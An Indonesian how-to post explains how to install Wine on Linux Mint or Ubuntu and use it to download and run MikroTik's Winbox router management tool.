Winbox Mikrotik dapat dijalankan pada sistem operasi Linux, seperti Ubuntu, Linux Mint, Debian, dan distro linux lainnya. Cara menjalankan winbox Mikrotik di Ubuntu dan Linux Mint cukup mudah. Caranya sama saja, yaitu dengan menggunakan aplikasi Windows Emulator atau sering disebut wine. Dengan menggunakan wine kita dapat menjalankan aplikasi windows di Linux. 

Instalasi Wine

Silakan install wine dulu pada linux anda masing-masing. Anda dapat melihat cara install wine disini. Berikut ini saya pandu untuk instalasi Wine pada Linux Mint dan Ubuntu. Dalam hal ini saya menggunakan Linux Mint 15 codename "Olivia".
1. Buka Terminal.
2. Tambahkan repository wine melalui perintah berikut :
sudo add-apt-repository ppa:ubuntu-wine/ppa
3. Update repository
sudo apt-get update
4. Download dan Install Wine
sudo apt-get install wine
5. Silakan tunggu hingga proses instalasi selesai. Proses ini agak lama, tergantung koneksi internet anda, karena akan beberapa kali download installer.

Download Winbox

Setelah Wine selesai diinstall, silakan download winbox mikrotik untuk linux terbaru dari Mikrotik dengan menggunakan perintah berikut ini pada terminal :
wget http://www.mikrotik.com/download/winbox.exe
Setelah proses download selesai, buka Winbox Mikrotik dengan perintah :
wine winbox.exe


Mikrotik Winbox loader akan muncul seperti paga gambar di atas. Tinggal isikan IP address, dan login detail nya dan klik connect. Tampilan Winbox pada Linux nya seperti pada gambar berikut ini :


Winbox Mikrotik saya jalankan pada Linux Mint 15 dan dapat bekerja dengan baik dan berjalan lancar. Silakan anda coba menggunakan Winbox Mikrotik pada Linux anda masing-masing.
Read more